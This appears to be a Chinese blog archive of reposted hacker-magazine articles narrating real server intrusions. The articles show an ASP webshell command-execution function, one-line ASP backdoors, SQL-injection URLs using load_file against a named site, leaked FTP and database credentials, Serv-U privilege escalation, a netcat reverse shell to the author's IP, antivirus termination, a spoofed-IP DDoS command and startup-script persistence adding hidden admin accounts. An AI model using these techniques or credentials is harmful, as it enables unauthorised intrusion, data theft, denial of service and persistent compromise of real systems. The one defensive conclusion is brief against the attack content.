服务器上运行的第三方软件历来就被攻击者们看作是入侵目标系统的捷径。现在,著名的腾讯QQ又被列入了这些捷径名单,好在QQ并不是服务器必备的软件之一,所以相信不会造成大范围的危机。文中遇到特殊情况虽然不多,但大家还是应该遵照“可能的就应该防范”的原则做出相应防御。
一、在Windows2003中得到的webshell
此次渗透的目标是一台OA办公系统服务器。其操作系统新近升级到了Windows2003,但OA仍存在asp文件上传漏洞,所以webshell的取得并没有任何悬念。阻碍是在权限提升时遇到的。
登陆webshell后发现只能查看服务器的D盘,对C盘不能进行任何访问,webshell的提示是“没有权限”。这点早在意料之中,因为 wenshell只有guests组权限,再加上win2003默认禁止了“Everyone”匿名用户及“Guest”组权限用户访问cmd.exe,还造成了不能通过webshell运行cmd.exe。
唯一值得庆幸的是利用Webshell 可以对D盘(存放有web虚拟目录)各个子目录进行读写。这里除了web虚拟目录还有一些数据备份文件和一个腾讯QQ安装目录Tencent。
二、破解Serv-u的终极防范
Windows2003的种种默认安全配置展示了它强大的一面,近一步提升现有权限似乎已不太可能,直到我试图从系统入手向这台服务器发出FTP链接请求并看到Serv-u的banner时才觉得又有了一线希望。
前面提到由于Windows2003对cmd.exe的权限限制,通过webshell方式不能运行cmd.exe,这样的论断在2004年6期的防线的《构建Windows2003堡垒主机》一文也曾提到,但实践表明这并不正确,通过webshell上传本地非2003系统中未受限制的cmd.exe 文件到可执行目录,再通过wscript组件,同样能够通过webshell方式在Windows2003下获得相应权限的cmd.exe。结合 nc.exe,甚至还能得到一个guest组权限的命令行下的shell。
为此,我对老兵的站长助手6.0做了一些改进,增加了如下代码,使其能够利用Wscript.shell组件运行本地上传的cmd.exe。
Function CmdShell()
If Request(“SP”)<>”" Then Session(“ShellPath”) = Request(“SP”)
ShellPath=Session(“ShellPath”)
if ShellPath=”" Then ShellPath = “cmd.exe”
if Request(“wscript”)=”yes” then
checked=” checked”
else
checked=”"
end if
If Request(“cmd”)<>”" Then DefCmd = Request(“cmd”)
SI=”<form method=‘post‘><input name=‘cmd‘ Style=‘width:92%‘ class=‘cmd‘ value=‘”&DefCmd&”‘><input type=‘submit‘ value=‘运行‘>”
SI=SI&”<textarea Style=‘width:100%;height:500;‘ class=‘cmd‘>”
If Request.Form(“cmd”)<>”" Then
if Request.Form(“wscript”)=”yes” then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&” /c “&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else%>
<object runat=server id=ws scope=page classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
<object runat=server id=ws scope=page classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
<object runat=server id=fso scope=page classid=”clsid:0D43FE01-F093-11CF-8940-00A0C9054228″></object>
<%szTempFile = server.mappath(“cmd.txt”)
Call ws.Run (ShellPath&” /c ” & DefCmd & ” > ” & szTempFile, 0, True)
Set fs = CreateObject(“Scripting.FileSystemObject”)
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&”</textarea>”
SI=SI&”SHELL路径:<input name=‘SP‘ value=‘”&ShellPath&”‘ Style=‘width:70%‘> “
SI=SI&”<input type=‘checkbox‘ name=‘wscript‘ value=‘yes‘”&checked&”>WScript.Shell</form>”
Response.Write SI
End Function
利用时只需在shell路径中指定上传的 cmd.exe路径,再选中选项Wscript就能运行一些所需权限较低的系统命令,如“net start”或者“netstat -an”,依次运行这两个命令后Webshell回显了众多服务,包括Serv-U FTP Server。
活动端口列表中又出现了 43958端口,于是我自然想到了神通广大的Serv-u ftp Server本地权限提升漏洞。可真正用到的ftp本地权限提升工具在执行系统命令时,却出现了530错误提示。看来管理员或者其他人对Serv-u打上了布丁或者做了某些安全配置。
为了知道究竟是怎样的安全配置,上网查了查相关文章,其中有一篇《Serv-u ftp Server 本地权限提升漏洞的终极防范》很受欢迎,被多方转载,作者是世外高人xiaolu。从错误提示看很有可能做了该文所谓的终极防范,即对 ServUDaemon.exe中默认的管理员或密码进行了修改。
当然这只是假设,只有将目标服务器上的ServUDaemon.exe下载下来看看具体配置才能确定,但是安装有Serv-u的C盘禁止访问,包括Programe files 目录,权限提升再次受阻。
三、利用QQ2005共享文件漏洞将权限提升到底
再次翻了翻D盘,又见到了那个很少能在服务器中看到的Tencent文件夹。查看whatsnew.txt。
得知QQ的版本是QQ2005 Beta1,几个于相关文件的创建时间也说明网管最近在服务器上登陆过QQ。难道只能用QQ?经过一番思索,终于想到一个可以利用的QQ2005在文件共享功能上的一则漏洞。
该漏洞是随着QQ2005贺岁版新增功能出现的。可以将其危害描述为:利用该漏洞,攻击者可以浏览,读取用户系统中的任意文件(如sam文件、数据备份文件、敏感信息文件)。影响系统:安装有QQ2005贺岁版以上的所有Windows系列操作系统。
具体利用方法是:先在本机登陆自己的QQ,调出“QQ菜单”,选择工具->设置共享,指定C:或者其他任何有利用价值的分区为共享文件,完成后关闭QQ,找到安装目录下的以QQ帐号命名的文件夹内“ShareInfo.db”文件。上传覆盖目标服务器上相同文件(如:D: TencentQQ654321ShareInfo.db)。这样,当网管在服务器上登陆QQ时就会向好友开放C盘为共享目录。
因为陌生人是不能共享对方文件,所以还需要用社会工程学申请将管理员加为好友(理由当然越可信越好)。如果管理员通过请求,服务器的C盘会以QQ共享文件目录的名义被共享,原本不能通过WEBSHELL访问的ServUDaemon.exe文件就能被下载,遇到阻碍的权限提升之路又能继续了。
当晚管理员就通过了申请,将我添加为好友。珊瑚虫QQ上显示的IP正是目标服务器的IP,于是下载了ServUDaemon.exe文件,用UE打开后查找127.0.0.1,发现默认配置下的内置帐户“LocalAdministrator”果然被改成了“LocalAdministruser”。
这看起来是一个很“终极”的防御,但提出该方法的xiaolu似乎没有进行攻防所须的换位思考就将其公布,要知道攻击者只需知道修改后的配置,并对本地权限提升利用工具进行相应的修改,所谓的终极防御也就被攻破了。方法还是用UE打开脱了壳的serv-u本地权限提升利用工具,将 LocalAdministrator改为LocalAdministruser即可。
然后上传修改后的ftp2.exe,在 wscript.shell中执行D:webftp2.exe “net user user password /add”后看看结果,已经成功添加了一个用户。再把该用户加入administrators组和“Remote desktop users”组后登陆了目标服务器的远程桌面。
经过重重险阻,终于彻底攻陷了这台坚固的Windows2003堡垒。
分类 : 技术文摘 | 发表时间 09-01-2006
分类 : 技术文摘 | 发表时间 08-01-2006
来这个城市快两年了,无用过时的垃圾课程,名目繁多的考试。让人感觉到大学生活的两个字“不爽”。只有一个音乐电台陪我度过了两年无聊的大学生活。
近日,去它的网站逛了逛,大脑一发热,决定给她做个安全测试。网页是htm形式的,在上面乱点了一阵。没有发现使用动态页面的地方。用SUPERSCAN扫了一下,发现机子开了80和8080端口(安全意识还不错)系统方面应该没有什么问题(最起码在我看来)。
记得以前看过一个动画,讲的是如何注入htm形式的网站。其实,说白了也就是在htm里找带有asp之类的地方,不知道它是不是存在这个问题。半天工夫之后,还真让我给找到了一个使用asp的地方,随手加了一个单引号,返回错误。
依据返回的信息说明是SQL Server,看来不妙!网站使用的是独立服务器,因为用ip可以直接访问网站。用NBSI检测了一下这个连接,我靠!竟然是SA权限。
当时开始的时候,我是想先下载一个NC在NBSI里执行命令,然后再反向连接过来,这样就可以得到系统权限了。具体操作是用ECHO命令写一个ftp.txt。但是,我在输入命令之后发现结果并不像我想的那样顺利。当我输入一条echo命令发现竟然执行了7次。我的命令是echo open ftp.horizon.com>>F:\web\wsad\horizon.txt(F:\web为网站的根目录)。但是,结果却是写了7次,如果这样下载文件肯定不会成功。
不知大家注意过没有?在用NBSI执行命令的时候如果勾选了尝试返回结果,执行命令就会很慢。所以,这里为了提高执行命令的速度,就不要勾选尝试返回结果。这里由于不能把open ftp.horizon.com成功写入horizon.txt。所以,得另辟它路。
前面没成功,接着我想到了<%execute request(“1”)%>这个经典中的经典。如果能把它写入web目录就好办多了。现在<%execute request(“1”)%>就像是过街老鼠人人喊打,处境悲惨。即使有被打的危险,也还是要过街。但是,这里却有一个问题就是在NBSI里执行时,文件中的%被过滤了,少了%,废物一个。
当时我想了一个办法,既然它过滤了%,那么我就找它没有过滤掉的字符。例如“*”,这样我就可以先把<*execute request(“1”)*>写入文件,然后再把文件中的*换成%不就可以了。年轻人嘛,说干就干。不过这里要用到几个脚本。写文件的脚本horzion.vbs,命令格式为cscript horizon.vbs“要写的东西“objectfile”,内容为。
上面文件需要用echo命令把它写到服务器上***.vbe或***.vbs,然后再用这个vbs写我们要的文件,上面文件中类似于:“,%,&:和回车符是不能直接作为参数传递给脚本文件的。所以,我们这里还需要一个替换文件horizon1.vbs,作用就是替换特定字符串了。
这里简单解释一下:on error resume next是一个容错语句,至关重要,不管后面的程序发生什么意外,整个程序都将继续执行下去,直至结束。其次是IF语句,为了防止多条语句重复向文件写入相同的内容,这里加了一个标志若x=1才执行写文件,写完马上把x赋值2。这里可能有人会问为什么在每条语句后都加个“:”,其实,这是为了防止同一行有多条相同语句的情况,保证程序的顺利执行。
这样程序就不能正常执行了。如果想把:“,%,&,回车符直接作为参数传递给脚本文件,这里可以看出回车被“==”所替换,双引号被**替换,&被—替换,%被@@替换,在程序开始之前,我们先把文件open.ftp.horizon.com转换成可以被horizon.vbs接受的格式。用脚本转换horizon.vbs。命令格式为:
cscript horizon1.vbs 源文件 目标文件。
在本机执行cscript horizon1.vbs horizon.txt horiozn1.txt。其中horizon.txt文件中的内容为一句话后门<%execute request(“1”)%>。horizon1.txt文件中的内容为转换之后的horizon.vbs的ECHO代码。
我们在NBSI的那边NB Commander中一句一句执行上面的命令,等执行完之后,就会在对方的系统目录下生成一个文件horizon.vbe接着执行命令:
cscript writefile.vbe “<@@execute request(**1**)@@.>”F:\web\wsad\horizon.asp
这样一来我们就把一句话后门成功地写进了对方WEB目录了,相应的地址就是:http://www.***.com/wsad/horizon.asp。然后在把post.htm的form action指向该地址就OK了。
小提示:当我们在给脚本文件传递参数的时候,如果参数中带有空格的时候,就得用两个双引号将其括起来。
这样一来一个WebShell就到手了,这里为了防止其他意外情况,我在 horizon.asp文件中加了一句验证if request(“id”)=“horizon” then。如果在没有加参数id=horizon的情况下访问该页面的时候,只会显示一个空页面。在一定程度上可以保护我的战果哦!
不过现在看来拿下这个WebShell还真是费了一翻周折,不过最终还是搞到手了。继而想借此WebShell做点文章,但是不料发现这台机子设置的还是蛮BT的。晕,我狂晕,晕过之后再醒过来。
接着net user命令成功完成。再来个net start,发现有Serv-u,好东西!接下来一口气输入了n个命令,此时情报已经收集的差不多了。情报到手,准备开战,此战中立功最大的莫过于cacls了。其实这个命令对于高手们来说早都用滥了。不过为了照顾像我一样的菜菜们,这里稍作解释。cacls这个命令可以解除系统对目录的浏览限制。至于其具体用法,大家可以字cmd下输入cacls /?了解。
本来认为有了Serv-u之后,提权就不会有多难了。但是,事实证明我错了。这个Serv-u对于各种攻势都不感冒,我最终是无功而返,看来管理员还是蛮勤快的,将补丁都打上了。
东方不亮,西方亮。此路不通,另觅它路,难不成要吊死在一棵树上。开始的时候就想下个nc.exe进去。但未成功,片刻的休息之后,我停止的引擎又再次飞快的转动起来。
WebShell上传nc.exe还算顺利,因为机子上的瑞星早被我用ntsd –c -q -p PID给干掉了。先在本地nc -vv -l -p 80监听,然后再用nc.exe反向连接过来就OK。不过开始的时候,我还是犯了一个常识性错误,当时我没有多想就用WebShell反向连接过来的。因为WebShell本身只有iusr权限,所以我们反向连接过来的也只有iusr权限喽!因为这个,我当时被搞了一头雾水,开始怎么也想不明白?后来才恍然大悟过来啊!不过,幸好我“反应”算迅速,没有再按照原来的思路走下去。上面我都已经说了,这里不能用WebShell,要用NBSI,因为NBSI里反向过来的是administrator权限。呵呵!(注意哦)
nc 222.90.***.244 -r 80 -e cmd .exe
这里 222.90.***.244是我的ip。顺利得到了对方的一个Shell(这个Shell可是administrator权限)。^O^
之后我还试着尝试了另外几个端口,结果是都可以正常的反向连接过来,至此我并没有再继续下去。至于刚开始时的失败,我后来才发现原因是因为用horizon.vbe写的那个下载文件失败了。下载的文件为0字节。开始并没有注意到这点,后来才发现,很郁闷!看来做事千万马虎不得。
最后总结这次入侵的经历,其实最终能成功也是有一些偶然,假设这台服务器如果是台虚拟主机而不是台独立的服务器,那么SQL就不可能是SA权限。继而后面的许多工作就不会顺利下去。其次,成功的另外一个因素就是灵活的脚本应用,不然一句话后门就写不进去,接着后面的工作就都是白搭,不过庆幸的是最后还是搞下了。
作者: Horizon
来 源: 《黑客
防线》
资料来源:网络收集 原始作者:剑心 x-safe
以前的黑x中有对Php的注射的很多介绍,我等菜鸟也很是心痒,于是趁着有点时间就想练习练习在黑x里学的一些东西。
目标当时是选很经典的Php下载系统夜猫了,因为我没有Php和Mysql的测试环境,只有选这个结构比较熟悉的系统了,呵呵^_^。在google里搜索/down/show.php?id=,有几个这样的系统,可是测试了很多,却少有可以union出预期的结果的,都是union到50多个字段都不出结果,应该是Mysql不支持union查询的结果。又不愿意去像access一样猜测管理员密码,理由很简单,有了强大的load_file函数为什么还有做这些无聊的事情呢?有了密码不一定知道后台,有了后台不一定有上传,有……郁闷,总之就是想找到一个支持union和load_file的系统好好看看,一睹传说中的php注入直接得到系统权限的强大威力。
呵呵,工夫不负有心人,还真让我找到了一个。直接在url的id后加’如图1。哈哈,知道了是windows主机,还有绝对路径,呵呵!再判断1=1与1=2返回的页面基本知道漏洞存在。可是不知道支不支持union啊,马上在后面依次递增提交and 1=2 union select到20的时候返回正常页面如图2。哈哈!高兴Ing!根据显示的字段显示,9那个地方是软件介 绍一定是字符的了,可以用load_file()替换了。由于已经知道这个下载系统的敏感文件globl.asp,config.inc.php,就分别读出来了。哈哈居然得到root的密码啊,如图3,顺利多了!还有默认的后台,可是表好象被改过了,不是默认的字段与表名了。可是我们有load_file()啊,读取那个/admin/user.php(就是得到的后台登陆),仔细观察几个读取数据的地方,果然有了表名和字段!马上union查询出用户密码登陆,如图4。后台有点简陋,根本没有上传的地方。可是没有关系,我们有root数据库密码啊!我有Root我怕谁?
初步成功,整理思路先(好象很简单啊,就是以前高手所做的简单重复嘛!但是……当然没这么简单了,不然也不会有这篇文章了)。有了Root等数据库密码,可以试试远程连接mysql,导出个webshell就不错了。也可以在浏览器提交,但是这里有个Php的设置问题,如果那个magic_qutoes_gpc=on为打开的话,浏览器提交给服务器的变量都会被处理的,备份webshell基本就不可能了(除非你浏览器里提交的路径不包含被过滤的字符,但好象是不可能的)。如果开了对管理员极为方便(当然也对我们)的Phpmyadmin,那也可以很简单的备份得到webshell!。
废话不说了,这么久还没有进行主机探测呢,现在该看看了。打开x-scan选择只扫开放服务,因为这些已经够了,不可能给你一些n年前的溢出吧,呵呵^_^。等了一会看结果,晕!只开了80,21端口。理想中的3306没有扫到,侥幸地telnet他的3306端口,(这台主机好象有措施防御扫描。)结果还是没有!郁闷!远程登陆不可能了!那就看看Php.ini的设置吧,猜测了几次Php.ini的位置,最后发现是c:\winnt\php.ini,转换下用load_file()读出来,果然是magic_qutoes_gpc=on如图5。那只有看看有没有Phpmyadmin了,于是找到他的ip,在后面加上Phpmyadmin/,这是Phpmyadmin的默认目录,但是,最后一丝希望也被毁灭了!果然不存在,返回404!
基本上的经典招式都用完了,我也晕了。我们注入只是得到了敏感的密码信息,一些敏感文件信息,主机已经屏蔽了3306端口,也不存在Phpmyadmin,没有办法数据库备份得到webshell了!菜鸟的入侵也已经山穷水尽。郁闷Ing!
中间就这样停了一段时间,甚至忘记了这次入侵。但是最近把以前的黑x拿出来温习,忽然看到紫幻大哥提到的关于serveru的远程管理缺陷。只要webshell读取ServUAdmin.ini加密密码就可以本地替换拿到serveru的远程管理权限。注意!是只要读到的权限就可以啊!想到什么没有,希望注入漏洞还在,哈哈,不用多说了,马上将C:\program files\Serv-U\ServUAdmin.ini转换成67,58,92,112,114,111,103,114,97,109,32,102,105,108,101,115,92,83,
101,114,118,45,85,92,83,101,114,118,85,65,100,109,105,110,46,105,110,105
放在load_file(char())函数里提交。可惜我们的运气不好啊,没有那个密码,不过注意到没有,我们本质上已经拿到了只读的系统权限的webshell啊!(嘿嘿,有点奇怪吧!)因为是mysql函数所以只有读取的权限,他读取时用的mysql服务的权限,当然是系统权限了!毫不犹豫,马上找其他的敏感信息存在的文件,读取C:\program files\Serv-U\ServUDaemon.ini得到了好多东西,如图6!有用户的敏感信息啊!得到了所有的用户名,我们可不可以根据已经得到的数据库的密码信息和后台密码等信息找个字典挂上去猜那个对网站目录有权限的www帐户的密码啊,猜到了不就可以上传php木马了。但是我没有,人家有防范的,我猜了一次就被封IP了^_^。不过这里有已经加密的密码,正好最近Hak_Ban给我了一个暴力server-u工具,只能猜数字密码,很快的哦~马上弄到肉鸡上跑密码!(尽管偶不喜欢暴力,但是运气好的话也很方便的,为什么不试试呢?)
暴力的同时我也没有闲着,马上用我们得到的另类只读webshell尽情的刺探系统!首先提交
view-source:http://www.asianheros.com/down/show.php?id=105%20and%201=2%20union
%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,92,119,101,98,92,97,104,99,115,
92,100,111,119,110,92,115,104,111,119,46,112,104,112)),13,14,15,16,17,18,19,20
也就是load_file()读取他的d:\web\ahcs\down\show.php,得到了一些好东西ftp://ahgame:ahgam
edown@61.241.130.38:33333/”.$downurl;
ftp://ahlt:ahlt@61.241.130.38:33333/”.$downurl;
“update $down_table SET downnum=”.$downnum.” where id=$id”;
等其他重要的信息。哈哈~~不过还有其他的啊,譬如那个flashftp的sites.dat的文件,不过目录很复杂,一般管理员也不会在网站上上传东西,有耐心的话可以找找,这些有安全缺陷的配置文件本身就是很大的突破口,这里提出来的意思就是不要局限于固定的思维,黑客不能缺乏想象力(不是我说的!)。呵呵,现在既然玩就要玩大啊!
现在看看站点本身,偶不玩单纯的Php注入了!前阵子旁注很流行,那我们也可以用load_file()这样玩玩啊!先进行一下信息的刺探!拿出域名查询工具(当时的黑站必备工具啊),得到了一些主机的信息,比较关心的是他有几个站点在上边!如图7,嘿嘿,域名很少啊!估计是自己的主机!有3个站,其他的站点里面也许有比较有意思的东东哦。随便找个,呵呵,又是Php的,马上找个有参数传递的页面进去,哈哈,又有个类似的下载系统,/show.php?id=305后加’暴出了路径,以为可以像前面一样union然后暴出内容呢,结果发现版本太低不支持union,一台主机怎么会两种结果?以前这时候会很郁闷,但是现在没关系了!我们有”只读webshell”呢,读出来他的配置文件发现数据库果然不在一个机器上!得到的敏感信息:
$dbhost = “61.241.x.31″; // 数据库主机名
$dbuser = “mxhah”; // 数据库用户名
$dbpasswd = “07448″; // 数据库密码
$dbname = “down”; // 数据库名
现在不想连上去,网站还有几个其他的模块呢!于是跑去读了一些文件的原代码,屡试不爽啊!已经没有敏感信息瞒得住我们的眼睛,整个主机上的文件因为这
个注入点的存在而没有任何安全性可言了。如果是虚拟主机的话,不说大家也知道会怎么样了。
已经刺探出这么多的信息了,发现数据库密码等很有规律哦,有兴趣的可以社会工程学试下,serveru的密码暴力中,整个系统的缺陷也慢慢呈现,得到一个shell什么的不是问题了!由于只是学习,入侵到这里也该结束了,因为是个大型站点,给管理员发了个邮件提示了一下走人了。
这次实践没有什么技术可言,若给你一点思路这文章就有存在的价值了。有大哥说过黑客不能缺乏想象力,有什么问题欢迎来x论坛讨论。(Su-Crack.exe暴力工具网站上有收录。)
分类 : 技术文摘 | 发表时间 28-12-2005
相信有些黑友还没有玩过DDOS吧,是否WebShell很多,大家知道WebShell也能实现DDdos吗?知道的大吓就不要看了,这是菜鸟教程(孤独剑圣不是黑客高手,只能写菜鸟的教程啦!!!)。
首先你的WebShell要有上传文件的权限(不要和我说连这权限都没有吧!)。
还有就是WebShell有执行命令行的权限(如果没有的话,自己提权,也不要问我WebShell怎么提权,这些都不是我要讲内容范围,真的不会的话,自己在网上搜索很多的。)
好了,开始吧。Go!
在WebShell里上传了个xdos(这个工具的效果不错。工具自己网上找一下)WebShell我用的是海洋2006的。功能很多,我第一次用。还不错的。
在WScript.Shell命令行操作那里输入
D:\Hosting\WwwRoot\bosom_cn\htdocs\ftp.exe “D:\Hosting\WwwRoot\bosom_cn\htdocs\xdos.exe 218.212.7x.xx 80 -t 9 -s *”
意思是攻击218.212.7x.xx 的80端口-t 9是开了9个线程不同 -s *IP随机的就是伪造IP……执行了不久一会在去看目标站已经无法访问了……哈哈……这下好了。下次大家需要用肉鸡D人而又实在得不到的话用WebShell同样可以实现DDOS……
如果权限够高的话还可以把以上命令写成一批处理.放到启动项里这样服务器每次开机.就会自动的去攻击218.212.7x.xx 的80端口。
写这文章只是简单介绍用WebShell实现DDOS攻击方法……不要问我怎么找WebShell
这样的文章还不多吗?自己动手吧!
作者: 孤独剑圣
来 源: 《黑客防线》
分类 : 技术文摘 | 发表时间 21-12-2005
服务器上运行的第三方软件历来就被攻击者们看作是入侵目标系统的捷径。现在,著名的腾讯QQ又被列入了这些捷径名单,好在QQ并不是服务器必备的软件之一,所以相信不会造成大范围的危机。文中遇到特殊情况虽然不多,但大家还是应该遵照“可能的就应该防范”的原则做出相应防御。
一、在Windows2003中得到的webshell
此次渗透的目标是一台OA办公系统服务器。其操作系统新近升级到了Windows2003,但OA仍存在asp文件上传漏洞,所以webshell的取得并没有任何悬念。
阻碍是在权限提升时遇到的---
登陆webshell后发现只能查看服务器的D盘,对C盘不能进行任何访问,webshell的提示是“没有权限”。这点早在意料之中,因为wenshell只有guests组权限,再加上win2003默认禁止了“Everyone”匿名用户及“Guest”组权限用户访问cmd.exe,还造成了不能通过webshell运行cmd.exe。
唯一值得庆幸的是利用Webshell 可以对D盘(存放有web虚拟目录)各个子目录进行读写。这里除了web虚拟目录还有一些数据备份文件和一个腾讯QQ安装目录Tencent。
二、破解Serv-u的终极防范
Windows2003的种种默认安全配置展示了它强大的一面,近一步提升现有权限似乎已不太可能,直到我试图从系统入手向这台服务器发出FTP链接请求并看到Serv-u的banner时才觉得又有了一线希望。
前面提到由于Windows2003对cmd.exe的权限限制,通过webshell方式不能运行cmd.exe,这样的论断在2004年6期的防线的《构建Windows2003堡垒主机》一文也曾提到,但实践表明这并不正确,通过webshell上传本地非2003系统中未受限制的cmd.exe文件到可执行目录,再通过wscript组件,同样能够通过webshell方式在Windows2003下获得相应权限的cmd.exe。结合nc.exe,甚至还能得到一个guest组权限的命令行下的shell。
为此,我对老兵的站长助手6.0做了一些改进,增加了如下代码,使其能够利用Wscript.shell组件运行本地上传的cmd.exe。
Function CmdShell()
If Request(“SP”)<>”" Then Session(“ShellPath”) = Request(“SP”)
ShellPath=Session(“ShellPath”)
if ShellPath=”" Then ShellPath = “cmd.exe”
if Request(“wscript”)=”yes” then
checked=” checked”
else
checked=”"
end if
If Request(“cmd”)<>”" Then DefCmd = Request(“cmd”)
SI=”<form method=’post’><input name=’cmd’ Style=’width:92%’ class=’cmd’ value=’”&DefCmd&”‘><input type=’submit’ value=’运行’>”
SI=SI&”<textarea Style=’width:100%;height:500;’ class=’cmd’>”
If Request.Form(“cmd”)<>”" Then
if Request.Form(“wscript”)=”yes” then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&” /c “&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else%>
<object runat=server id=ws scope=page classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
<object runat=server id=ws scope=page classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
<object runat=server id=fso scope=page classid=”clsid:0D43FE01-F093-11CF-8940-00A0C9054228″></object>
<%szTempFile = server.mappath(“cmd.txt”)
Call ws.Run (ShellPath&” /c ” & DefCmd & ” > ” & szTempFile, 0, True)
Set fs = CreateObject(“Scripting.FileSystemObject”)
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&”</textarea>”
SI=SI&”SHELL路径:<input name=’SP’ value=’”&ShellPath&”‘ Style=’width:70%’> “
SI=SI&”<input type=’checkbox’ name=’wscript’ value=’yes’”&checked&”>WScript.Shell</form>”
Response.Write SI
End Function
利用时只需在shell路径中指定上传的cmd.exe路径,再选中选项Wscript就能运行一些所需权限较低的系统命令,如“net start”或者“netstat -an”,依次运行这两个命令后Webshell回显了众多服务,包括Serv-U FTP Server, 活动端口列表中又出现了43958端口,于是我自然想到了神通广大的Serv-u ftp Server本地权限提升漏洞。可真正用到的ftp本地权限提升工具在执行系统命令时,却出现了530错误提示(如图1)。看来管理员或者其他人对Serv-u打上了布丁或者做了某些安全配置。为了知道究竟是怎样的安全配置,上网查了查相关文章,其中有一篇《Serv-u ftp Server 本地权限提升漏洞的终极防范》很受欢迎,被多方转载,作者是世外高人xiaolu。从错误提示看很有可能做了该文所谓的终极防范,即对ServUDaemon.exe中默认的管理员或密码进行了修改。当然这只是假设,只有将目标服务器上的ServUDaemon.exe下载下来看看具体配置才能确定,但是安装有Serv-u的C盘禁止访问,包括Programe files 目录,权限提升再次受阻。
三、利用QQ2005共享文件漏洞将权限提升到底
再次翻了翻D盘,又见到了那个很少能在服务器中看到的Tencent文件夹。查看whatsnew.txt。
得知QQ的版本是QQ2005 Beta1,几个于相关文件的创建时间也说明网管最近在服务器上登陆过QQ。难道只能用QQ?经过一番思索,终于想到一个可以利用的QQ2005在文件共享功能上的一则漏洞。
该漏洞是随着QQ2005贺岁版新增功能出现的。可以将其危害描述为:利用该漏洞,攻击者可以浏览,读取用户系统中的任意文件(如sam文件、数据备份文件、敏感信息文件)。影响系统:安装有QQ2005贺岁版以上的所有Windows系列操作系统。
具体利用方法是:先在本机登陆自己的QQ,调出“QQ菜单”,选择工具->设置共享,指定C:\或者其他任何有利用价值的分区为共享文件,完成后关闭QQ,找到安装目录下的以QQ帐号命名的文件夹内“ShareInfo.db”文件。如图3所示。,上传覆盖目标服务器上相同文件(如:D:\Tencent\QQ\654321\ShareInfo.db)。这样,当网管在服务器上登陆QQ时就会向好友开放C盘为共享目录。。
因为陌生人是不能共享对方文件,所以还需要用社会工程学申请将管理员加为好友(理由当然越可信越好)。如果管理员通过请求,服务器的C盘会以QQ共享文件目录的名义被共享,原本不能通过WEBSHELL访问的ServUDaemon.exe文件就能被下载,遇到阻碍的权限提升之路又能继续了。
当晚管理员就通过了申请,将我添加为好友。珊瑚虫QQ上显示的IP正是目标服务器的IP,于是下载了ServUDaemon.exe文件,用UE打开后查找127.0.0.1,发现默认配置下的内置帐户“LocalAdministrator”果然被改成了“LocalAdministruser”。这看起来是一个很“终极”的防御,但提出该方法的xiaolu似乎没有进行攻防所须的换位思考就将其公布,要知道攻击者只需知道修改后的配置,并对本地权限提升利用工具进行相应的修改,所谓的终极防御也就被攻破了。方法还是用UE打开脱了壳的serv-u本地权限提升利用工具,将LocalAdministrator改为LocalAdministruser即可。
然后上传修改后的ftp2.exe,在wscript.shell中执行D:\web\ftp2.exe “net user user password /add”后看看结果,已经成功添加了一个用户。再把该用户加入administrators组和“Remote desktop users”组后登陆了目标服务器的远程桌面。
―――经过重重险阻,终于彻底攻陷了这台坚固的Windows2003堡垒。
四、简单启示
可以看出,和“服务越少越安全”一样,服务器上运行的“第三方”越少越安全,流行的PcAnywhere、VNC、Serv-U 权限提升和这里提出的利用QQ2005提升权限,都是可以这样避免
科尔
分类 : 技术文摘 | 发表时间 20-12-2005
大家看过“我非我[F.S.T]”总结的提升管理员权限8法,现在我们利用启动脚本和批处理在获得shell的情况下提升权限第9法: 启动脚本法!!首家批漏啊,大家可得看好了,我尽量废话少说,言简意赅的表述。
注:启动脚本是邀请用户登录之前运行的批文件,它的功能类似于Win9X和DOS中的自动执行批处理文件autoexec.bat,由于脚本是在windows登陆之前运行,所以我们可以修改脚本内容来对系统进行设置,如启动一个后门程序,添加一个管理员帐号,修改管理员帐号等等,随你想吧.嘎嘎..
本文首先介绍通过webshell添加一个隐藏帐号(毕竟这才是大家最关心的:)),然后具体讲解一下出现问题后的解决方法.如何添加一个帐号?
一.如果你可以直接写文件,如用海洋.
(1) 首先,我们用海洋编写了一个新建管理员的批处理文件swords1.bat,如下:
net user swords$ eviloctal /add
net localgroup administrators swords$ /add
这个批处理文件加了一个管理员名为swords$,密码为eviloctal的隐藏帐户,将文件swords1.bat保存到”C:\winnt\system32\GroupPolicy\Machine\Scripts\Startup”下.
(注意:c:\winnt是系统目录,如果系统盘不是c盘,请相应修改为系统目录即可.在本机中查看,你也许找不到GroupPolicy\Machine\Scripts\Startup这个文件夹,可以选择工具/文件夹选项/查看/单击显示所有文件和文件夹.在海洋中用fso可以显示所有文件就不必多此一举了。)
(2)接下来编写一个删除管理员的批处理文件swords2.bat,很简单,一句话即可,如下: net user swords$ /del
这个批处理文件删除一个管理员名为swords$的隐藏帐户,将文件swords2.bat保存到”C:\winnt\system32\GroupPolicy\Machine\Scripts\Shutdown”下.
(3)编写一个启动/关机脚本配置文件scripts.ini
(注意:scripts是默认的配置文件名,不能改名!)如下:
[Startup]
0CmdLine=swords1.bat
0Parameters=
[Shutdown]
0CmdLine=swords2.bat
0Parameters=
将文件scripts.ini保存到C:\winnt\system32\GroupPolicy\Machine\Scripts下.
二.如果你有一个cmdshell,有echo的权限就可以了,这样添加:
(1)echo一个swords1.vbs启动时用的文件
echo on error resume next> C:\winnt\system32\GroupPolicy\Machine\Scripts\Startup \swords1.vbs
echo net user swords$ eviloctal /add>> C:\winnt\system32\GroupPolicy\Machine\Scripts\Startup\swords1.vbs
echo net localgroup administrators swords$ /add>> C:\winnt\system32\GroupPolicy\Machine\Scripts\Startup\swords1.vbs
